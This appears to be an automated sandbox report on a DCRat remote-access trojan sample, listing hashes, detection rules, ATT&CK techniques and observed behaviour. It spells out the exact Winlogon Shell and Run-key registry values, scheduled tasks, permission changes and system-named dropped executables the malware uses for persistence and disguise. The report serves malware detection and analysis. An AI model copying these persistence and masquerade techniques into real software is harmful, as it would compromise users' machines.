dcrat | 28ebd60f492ca0957ac7ab3fdbcd8262966dee60dbec71d6bcac8d7efaf65479

Analysis

max time kernel
153s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
09-11-2022 11:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

migrate.120.exe
Size

15.7MB
MD5

b27e540aef37c99f3cfd2766c2e61784
SHA1

c516b74daec17d1bc788c54433cf10899ee07e92
SHA256

28ebd60f492ca0957ac7ab3fdbcd8262966dee60dbec71d6bcac8d7efaf65479
SHA512

641d5daaef91d535f279ce7fea1f7c8b50ba87040480602e51951dfc2f3345699d3161d38b1b2ab7b3d4fbbcc56e0d597f125ed65ea3971df4888cb4a63897cd
SSDEEP

393216:XhBqJ0CE8/eXkkM7cGGBNpuXU8ysXVqNIyc2KBcr27eEHTPX:RBe0CiMihuXU8yYqNIygdrX

Score

10^/10

dcrat discovery exploit infostealer persistence rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ipinfo.io/ip

Signatures

DCRat payload 14 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

Processes:

resource	yara_rule
C:\ProgramData\dc.exe	dcrat
C:\ProgramData\dc.exe	MALWARE_Win_DCRat
C:\programdata\dc.exe	dcrat
C:\programdata\dc.exe	MALWARE_Win_DCRat
C:\runtimeMonitor\ComdriverSvc.exe	dcrat
C:\runtimeMonitor\ComdriverSvc.exe	MALWARE_Win_DCRat
C:\runtimeMonitor\ComdriverSvc.exe	dcrat
C:\runtimeMonitor\ComdriverSvc.exe	MALWARE_Win_DCRat
behavioral2/memory/4060-191-0x0000000000220000-0x000000000032C000-memory.dmp	dcrat
behavioral2/memory/4060-191-0x0000000000220000-0x000000000032C000-memory.dmp	MALWARE_Win_DCRat
C:\Program Files\Windows Mail\RuntimeBroker.exe	dcrat
C:\Program Files\Windows Mail\RuntimeBroker.exe	MALWARE_Win_DCRat
C:\Program Files\Windows Mail\RuntimeBroker.exe	dcrat
C:\Program Files\Windows Mail\RuntimeBroker.exe	MALWARE_Win_DCRat

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Modifies WinLogon for persistence 2 TTPs 13 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

ComdriverSvc.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\odt\\MoUsoCoreWorker.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Program Files (x86)\\Windows Multimedia Platform\\cmd.exe\", \"C:\\Users\\Public\\conhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\odt\\MoUsoCoreWorker.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Program Files (x86)\\Windows Multimedia Platform\\cmd.exe\", \"C:\\Users\\Public\\conhost.exe\", \"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\conhost.exe\", \"C:\\Program Files\\7-Zip\\Lang\\Idle.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\odt\\MoUsoCoreWorker.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Program Files (x86)\\Windows Multimedia Platform\\cmd.exe\", \"C:\\Users\\Public\\conhost.exe\", \"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\conhost.exe\", \"C:\\Program Files\\7-Zip\\Lang\\Idle.exe\", \"C:\\odt\\Idle.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\odt\\MoUsoCoreWorker.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Program Files (x86)\\Windows Multimedia Platform\\cmd.exe\", \"C:\\Users\\Public\\conhost.exe\", \"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\conhost.exe\", \"C:\\Program Files\\7-Zip\\Lang\\Idle.exe\", \"C:\\odt\\Idle.exe\", \"C:\\Program Files\\Windows Multimedia Platform\\conhost.exe\", \"C:\\Users\\All Users\\Templates\\csrss.exe\", \"C:\\Program Files (x86)\\Windows Multimedia Platform\\cmd.exe\", \"C:\\odt\\sppsvc.exe\", \"C:\\Program Files\\Windows Mail\\RuntimeBroker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\odt\\MoUsoCoreWorker.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Program Files (x86)\\Windows Multimedia Platform\\cmd.exe\", \"C:\\Users\\Public\\conhost.exe\", \"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\conhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\odt\\MoUsoCoreWorker.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Program Files (x86)\\Windows Multimedia Platform\\cmd.exe\", \"C:\\Users\\Public\\conhost.exe\", \"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\conhost.exe\", \"C:\\Program Files\\7-Zip\\Lang\\Idle.exe\", \"C:\\odt\\Idle.exe\", \"C:\\Program Files\\Windows Multimedia Platform\\conhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\odt\\MoUsoCoreWorker.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Program Files (x86)\\Windows Multimedia Platform\\cmd.exe\", \"C:\\Users\\Public\\conhost.exe\", \"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\conhost.exe\", \"C:\\Program Files\\7-Zip\\Lang\\Idle.exe\", \"C:\\odt\\Idle.exe\", \"C:\\Program Files\\Windows Multimedia Platform\\conhost.exe\", \"C:\\Users\\All Users\\Templates\\csrss.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\odt\\MoUsoCoreWorker.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Program Files (x86)\\Windows Multimedia Platform\\cmd.exe\", \"C:\\Users\\Public\\conhost.exe\", \"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\conhost.exe\", \"C:\\Program Files\\7-Zip\\Lang\\Idle.exe\", \"C:\\odt\\Idle.exe\", \"C:\\Program Files\\Windows Multimedia Platform\\conhost.exe\", \"C:\\Users\\All Users\\Templates\\csrss.exe\", \"C:\\Program Files (x86)\\Windows Multimedia Platform\\cmd.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\csrss.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\odt\\MoUsoCoreWorker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\odt\\MoUsoCoreWorker.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\odt\\MoUsoCoreWorker.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Program Files (x86)\\Windows Multimedia Platform\\cmd.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\csrss.exe\", \"C:\\odt\\MoUsoCoreWorker.exe\", \"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\", \"C:\\Program Files (x86)\\Windows Multimedia Platform\\cmd.exe\", \"C:\\Users\\Public\\conhost.exe\", \"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\conhost.exe\", \"C:\\Program Files\\7-Zip\\Lang\\Idle.exe\", \"C:\\odt\\Idle.exe\", \"C:\\Program Files\\Windows Multimedia Platform\\conhost.exe\", \"C:\\Users\\All Users\\Templates\\csrss.exe\", \"C:\\Program Files (x86)\\Windows Multimedia Platform\\cmd.exe\", \"C:\\odt\\sppsvc.exe\""	ComdriverSvc.exe

Process spawned unexpected child process 39 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3700	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3940	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4396	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2404	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	952	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	372	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	772	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4432	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4252	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4268	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4092	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	748	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3596	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3144	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	540	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1924	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4112	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	924	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3368	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5072	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4844	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2144	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1876	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2884	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4072	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3512	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1152	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2264	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4648	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1276	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4812	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3780	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	404	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3004	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4272	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4772	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3100	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3588	1664	schtasks.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2412	1664	schtasks.exe

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

92 1720 powershell.exe

flow	pid	process
92	1720	powershell.exe

Executes dropped EXE 22 IoCs

Processes:

1.exeany.exedc.exeComdriverSvc.exewsappz.exeAnyDesk.exeAnyDesk.exeRuntimeBroker.exeAnyDesk.exemigrate.exeWmiic.exeWmiic.exeAnyDesk.exeWmiic.exeIntelConfigService.exeWrap.exeSuperfetch.exeMSTask.exe~Ma4650.exeApplicationsFrameHost.execurl.execurl.exe

pid	process
4416	1.exe
1328	any.exe
4584	dc.exe
4060	ComdriverSvc.exe
460	wsappz.exe
3560	AnyDesk.exe
5356	AnyDesk.exe
5400	RuntimeBroker.exe
5540	AnyDesk.exe
732	migrate.exe
424	Wmiic.exe
5484	Wmiic.exe
5568	AnyDesk.exe
2704	Wmiic.exe
5984	IntelConfigService.exe
6044	Wrap.exe
5012	Superfetch.exe
5612	MSTask.exe
5720	~Ma4650.exe
5640	ApplicationsFrameHost.exe
5044	curl.exe
3584	curl.exe

Possible privilege escalation attempt 11 IoCs

exploit

Processes:

icacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exe

pid	process
5856	icacls.exe
3792	icacls.exe
6012	icacls.exe
6016	icacls.exe
1876	icacls.exe
1508	icacls.exe
2316	icacls.exe
5428	icacls.exe
5664	icacls.exe
6044	takeown.exe
5624	icacls.exe

Checks computer location settings 2 TTPs 6 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

migrate.120.exedc.exeany.exeWScript.exeComdriverSvc.exemigrate.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	migrate.120.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	dc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	any.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	ComdriverSvc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	migrate.exe

Loads dropped DLL 3 IoCs

Processes:

~Ma4650.exe

pid process

5720 ~Ma4650.exe
5720 ~Ma4650.exe
5720 ~Ma4650.exe

pid	process
5720	~Ma4650.exe
5720	~Ma4650.exe
5720	~Ma4650.exe

Modifies file permissions 1 TTPs 11 IoCs

discovery

File Permissions Modification

T1222

Processes:

icacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exeicacls.exe

pid	process
5664	icacls.exe
6044	takeown.exe
2316	icacls.exe
5428	icacls.exe
5624	icacls.exe
5856	icacls.exe
3792	icacls.exe
6012	icacls.exe
6016	icacls.exe
1876	icacls.exe
1508	icacls.exe

Adds Run key to start application 2 TTPs 24 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

ComdriverSvc.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Users\\Public\\conhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Program Files (x86)\\Windows Multimedia Platform\\cmd.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Users\\Public\\conhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Idle = "\"C:\\Program Files\\7-Zip\\Lang\\Idle.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Idle = "\"C:\\odt\\Idle.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Users\\All Users\\Templates\\csrss.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sppsvc = "\"C:\\odt\\sppsvc.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MoUsoCoreWorker = "\"C:\\odt\\MoUsoCoreWorker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Recovery\\WindowsRE\\RuntimeBroker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Idle = "\"C:\\Program Files\\7-Zip\\Lang\\Idle.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Idle = "\"C:\\odt\\Idle.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Program Files\\Windows Multimedia Platform\\conhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Program Files\\Windows Mail\\RuntimeBroker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MoUsoCoreWorker = "\"C:\\odt\\MoUsoCoreWorker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\conhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\cmd = "\"C:\\Program Files (x86)\\Windows Multimedia Platform\\cmd.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\conhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\conhost = "\"C:\\Program Files\\Windows Multimedia Platform\\conhost.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Users\\All Users\\Templates\\csrss.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sppsvc = "\"C:\\odt\\sppsvc.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Program Files\\Windows Mail\\RuntimeBroker.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Recovery\\WindowsRE\\csrss.exe\""	ComdriverSvc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Recovery\\WindowsRE\\csrss.exe\""	ComdriverSvc.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

91 ipinfo.io
92 ipinfo.io

flow	ioc
91	ipinfo.io
92	ipinfo.io

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

Processes:

resource	yara_rule
C:\windows\tasks\IntelConfigService.exe	autoit_exe
C:\Windows\Tasks\IntelConfigService.exe	autoit_exe

Drops file in Program Files directory 12 IoCs

Processes:

ComdriverSvc.exe

description	ioc	process
File created	C:\Program Files\Windows Mail\9e8d7a4ca61bd9	ComdriverSvc.exe
File created	C:\Program Files (x86)\Windows Multimedia Platform\ebf1f9fa8afd6d	ComdriverSvc.exe
File created	C:\Program Files\Windows Multimedia Platform\conhost.exe	ComdriverSvc.exe
File opened for modification	C:\Program Files (x86)\Windows Multimedia Platform\ebf1f9fa8afd6d	ComdriverSvc.exe
File created	C:\Program Files\7-Zip\Lang\Idle.exe	ComdriverSvc.exe
File created	C:\Program Files\7-Zip\Lang\6ccacd8608530f	ComdriverSvc.exe
File created	C:\Program Files\Windows Multimedia Platform\088424020bedd6	ComdriverSvc.exe
File opened for modification	C:\Program Files (x86)\Windows Multimedia Platform\cmd.exe	ComdriverSvc.exe
File created	C:\Program Files\Windows Mail\RuntimeBroker.exe	ComdriverSvc.exe
File created	C:\Program Files (x86)\Windows Multimedia Platform\cmd.exe	ComdriverSvc.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\conhost.exe	ComdriverSvc.exe
File created	C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\088424020bedd6	ComdriverSvc.exe

Drops file in Windows directory 25 IoCs

Processes:

migrate.exeApplicationsFrameHost.execmd.execmd.exeComdriverSvc.exeIntelConfigService.exe

description	ioc	process
File opened for modification	C:\Windows\Tasks\run.bat	migrate.exe
File opened for modification	C:\Windows\Tasks\Wmiic.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\ApplicationsFrameHost.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\config.json	migrate.exe
File opened for modification	C:\Windows\Tasks\MSTask.exe	migrate.exe
File created	C:\Windows\Tasks\run.bat	migrate.exe
File created	C:\Windows\Tasks\WinRing0x64.sys	migrate.exe
File created	C:\Windows\Tasks\Wmiic.exe	migrate.exe
File created	C:\Windows\Tasks\Wrap.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\config.json	ApplicationsFrameHost.exe
File created	C:\Windows\curl.exe	cmd.exe
File created	C:\Windows\Tasks\__tmp_rar_sfx_access_check_240654640	migrate.exe
File created	C:\Windows\Tasks\IntelConfigService.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\IntelConfigService.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\Superfetch.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\WinRing0x64.sys	migrate.exe
File created	C:\Windows\Tasks\ApplicationsFrameHost.exe	migrate.exe
File opened for modification	C:\Windows\curl.exe	cmd.exe
File opened for modification	C:\Windows\curl.exe	cmd.exe
File created	C:\Windows\LanguageOverlayCache\sppsvc.exe	ComdriverSvc.exe
File created	C:\Windows\Tasks\MSTask.exe	migrate.exe
File created	C:\Windows\Tasks\Superfetch.exe	migrate.exe
File opened for modification	C:\Windows\Tasks\Wrap.exe	migrate.exe
File opened for modification	C:\Windows\Tasks	IntelConfigService.exe
File created	C:\Windows\Tasks\config.json	migrate.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4468 5484 WerFault.exe Wmiic.exe

pid	pid_target	process	target process
4468	5484	WerFault.exe	Wmiic.exe

Creates scheduled task(s) 1 TTPs 39 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

pid	process
4432	schtasks.exe
4252	schtasks.exe
3596	schtasks.exe
3780	schtasks.exe
3940	schtasks.exe
4268	schtasks.exe
1876	schtasks.exe
4812	schtasks.exe
748	schtasks.exe
3004	schtasks.exe
1276	schtasks.exe
3588	schtasks.exe
3700	schtasks.exe
772	schtasks.exe
2144	schtasks.exe
4072	schtasks.exe
924	schtasks.exe
1152	schtasks.exe
2264	schtasks.exe
4648	schtasks.exe
4092	schtasks.exe
3144	schtasks.exe
540	schtasks.exe
4112	schtasks.exe
4272	schtasks.exe
404	schtasks.exe
4772	schtasks.exe
2404	schtasks.exe
372	schtasks.exe
3368	schtasks.exe
5072	schtasks.exe
2884	schtasks.exe
3100	schtasks.exe
2412	schtasks.exe
3512	schtasks.exe
4396	schtasks.exe
952	schtasks.exe
1924	schtasks.exe
4844	schtasks.exe

Delays execution with timeout.exe 11 IoCs

evasion

Processes:

timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exe

pid	process
5952	timeout.exe
5124	timeout.exe
4408	timeout.exe
4900	timeout.exe
4596	timeout.exe
6064	timeout.exe
4664	timeout.exe
5260	timeout.exe
5888	timeout.exe
5956	timeout.exe
5964	timeout.exe

Enumerates processes with tasklist 1 TTPs 3 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exe

pid process

5980 tasklist.exe
6068 tasklist.exe
5432 tasklist.exe

pid	process
5980	tasklist.exe
6068	tasklist.exe
5432	tasklist.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

SearchApp.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	SearchApp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	SearchApp.exe

Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

3844 taskkill.exe
3792 taskkill.exe

pid	process
3844	taskkill.exe
3792	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

Processes:

~Ma4650.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION	~Ma4650.exe
